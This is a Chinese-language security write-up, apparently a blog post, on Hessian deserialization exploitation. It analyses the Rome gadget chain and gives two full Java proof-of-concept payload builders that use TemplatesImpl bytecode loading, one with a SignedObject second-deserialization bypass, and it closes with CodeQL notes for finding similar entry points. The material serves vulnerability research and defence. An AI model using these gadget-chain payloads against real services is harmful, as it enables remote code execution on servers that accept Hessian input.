什么是Hessian Hessian
是 caucho
公司的工程项目,是一个轻量级的RPC
框架。它基于HTTP
协议传输,使用Hessian
二进制序列化,对于数据包比较大的情况比较友好。Hessian
协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。 对于这样的设计,caucho
公司其实提供了两种解决方案,一个是 Hession
,一个是 Burlap
。Hession
是基于二进制的实现,传输数据更小更快,而 Burlap
的消息是 XML
的,有更好的可读性。两种数据都是基于 HTTP
协议传输。Hessian
本身作为 Resin
的一部分,但是它的 com.caucho.hessian.client
和 com.caucho.hessian.server
包不依赖于任何其他的 Resin
类,因此它也可以使用在任何容器如 Tomcat
中,也可以使用在 EJB
中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。 作为一个二进制的序列化协议,Hessian
自行定义了一套自己的储存和还原数据的机制。对 8
种基础数据类型、3
种递归类型、ref
引用以及 Hessian 2.0
中的内部引用映射进行了相关定义。这样的设计使得 Hassian
可以进行跨语言跨平台的调用。
Hessian的使用 可以学习su18师傅写的文章
利用链分析 目前常见的 Hessian
利用链在 marshalsec 中共有如下五个:
Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
也就是抽象类 marshalsec.HessianBase
分别实现的 5个接口。 触发漏洞的触发点对应在 HessianBase
的三个实现类:Hessian
\ Hessian2
\ Burlap
Rome 根据ysoserial
上的调用链,对其进行分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * @author mbechler * */
首先,老生常谈,HashMap
的readObject
方法中的关键代码为
1 putVal(hash(key), key, value, false , false );
要进入HashMap
的hash(key)
1 return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 );
此时要进入key
的hashCode()
(根据gadget
可知,key
为ObjectBean
)
1 return this .equalsBean.beanHashCode();
接着进入EqualsBean
的beanHashCode()
1 return this .obj.toString().hashCode();
根据gadget
可知,进入ToStringBean
的toString()
1 2 3 ... result = this .toString(prefix); ...
这里传了一个字符串,先进ToStringBean
的toString(String)
看一下逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this .beanClass); Iterator var10 = propertyDescriptors.iterator(); while (var10.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this .obj, NO_PARAMS); this .printProperty(sb, prefix + "." + propertyName, value); } }catch (Exception var9) { ...
从上面我对代码的简单分析就能知道,这里利用TemplatesImpl.getOutputProperties()
来实例化恶意类。 这里的beanClass
会在new ToStringBean
时进行赋值。
下面介绍一下prefix
值的来源 选择如下构造函数
1 2 3 4 public ToStringBean (Class<?> beanClass, Object obj) { this .beanClass = beanClass; this .obj = obj; }
使用如下代码进行构造
1 new ToStringBean (Templates.class, templates)
并且在ToStringBean
的toString()
中存在这样一段代码
1 2 result = this .obj.getClass().getName(); prefix = result.substring(result.lastIndexOf("." ) + 1 );
这样的话对result
和prefix
的值就清晰了,也知道了beanClass
值为Templates
poc
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class romeExp1 implements Serializable { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getEvilCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(Evil.class.getName()); byte [] code = clazzz.toBytecode(); return code; } public static void main (String[] args) throws Exception { byte [] evilCode = getEvilCode(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{evilCode}); setFieldValue(templates, "_name" , "alter" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class, templates); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); ObjectBean objectBean = new ObjectBean (String.class, "alter" ); HashMap evilMap = new HashMap (); evilMap.put(objectBean, 1 ); setFieldValue(objectBean, "equalsBean" , equalsBean); seDse.serialize(evilMap,"romeExp1" ); } }
这里也可以通过JdbcRowSetImpl#getDatabaseMetaData()
方法触发 JNDI
注入,这算比较主流的利用
Rome二次反序列化(TemplatesImpl+SignedObject) 如果环境时不出网的,那就无法配合JNDI
去利用了;Hessian
有一个限制:如果是 transient
和 static
字段则不会参与序列化反序列化流程。而TemplatesImpl
的_tfactory
就是被transient
修饰的字段。因此对于TemplatesImpl
的方式,导致被transient
修饰的_tfactory
对象无法写入造成空指针异常。
为什么原生反序列化就可以恢复这个trasient
修饰的变量呢,答案就是在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject
中存在如下代码:
1 _tfactory = new TransformerFactoryImpl ();
所以当用如下代码序列化+反序列化时,才是真正使用Hessian
做序列化和反序列化(之前都是Object
类型),但不会执行恶意代码
1 2 3 4 5 6 7 Hessian2Output hessianOutput1=new Hessian2Output (new FileOutputStream ("romeExp1.ser" )); hessianOutput1.writeObject(evilMap); hessianOutput1.close(); Hessian2Input input = new Hessian2Input (new FileInputStream ("romeExp1.ser" ));input.readObject();
经过如下调用栈后,后面的流程相似
1 2 3 4 5 put:613, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:577, SerializerFactory (com.caucho.hessian.io) readObject:2093, Hessian2Input (com.caucho.hessian.io) main:81, romeExp1 (com.alter.serialize.ysoserial)
因此就需要找一个二次反序列化的点,对ToStringBean
的构造方法的参数进行反序列化。 二次反序列化其中一个常见的方式是使用 java.security.SignedObject
。 这个类有个 getObject
方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
注意,在序列化和反序列化时一定要分别使用Hessian2Output
和Hessian2Input
类型(主要看使用哪种类型进行readObject
)poc
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 public class romeExp2 { public static void main (String[] args) throws Exception { HashMap hashMapx=getObject(); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (hashMapx,privateKey,signingEngine); ToStringBean toStringBean=new ToStringBean (SignedObject.class,signedObject); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"alter" ); Field obj= EqualsBean.class.getDeclaredField("obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); Hessian2Output hessianOutput1=new Hessian2Output (new FileOutputStream ("romeExp2.ser" )); hessianOutput1.writeObject(hashMap); hessianOutput1.close(); Hessian2Input input = new Hessian2Input (new FileInputStream ("romeExp2.ser" )); input.readObject(); } public static HashMap getObject () throws Exception { byte [] bytecode= getEvilCode(); byte [][] bytee= new byte [][]{bytecode}; TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,bytee); setFieldValue(templates,"_name" ,"Code" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ToStringBean toStringBean=new ToStringBean (Templates.class,templates); ToStringBean toStringBean1=new ToStringBean (String.class,"s" ); ObjectBean objectBean=new ObjectBean (ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap (); hashMap.put(objectBean,"alter" ); Field obj=EqualsBean.class.getDeclaredField("obj" ); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean" ); obj.setAccessible(true ); equalsBean.setAccessible(true ); obj.set(equalsBean.get(objectBean),toStringBean); return hashMap; } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } public static byte [] getEvilCode() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(HandlerRespond.class.getName()); byte [] code = clazzz.toBytecode(); return code; } }
CodeQL查找SignedObject 也自己简单写了一个代码来查找符合二次反序列化入口的方法,限制条件如下:
满足get
方法
public
无参
能够调用危险方法,如readObject
、exec
、loadClass
等
数据库我直接用的师傅已经编译好的openjdk8u332
edge
只进行一次,可以看到能查到SignedObject
但是这里我不知道怎么设置路径长度,如果用edge*
的话,有1477条结果,还是比较多的,但是危险方法只设置为readObject
的话只有7条。 如果用污点追踪的话,虽然可以限制从source
节点所在函数开始最多在往下调用函数的数量,但是该怎么把source
设为getter
方法呢?
yxxx师傅
使用他自己开发的ByteCodeDL
,也写了一篇查找方法的文章 ,感觉有时间可以用一下ByteCodeDL
(师傅们太强了)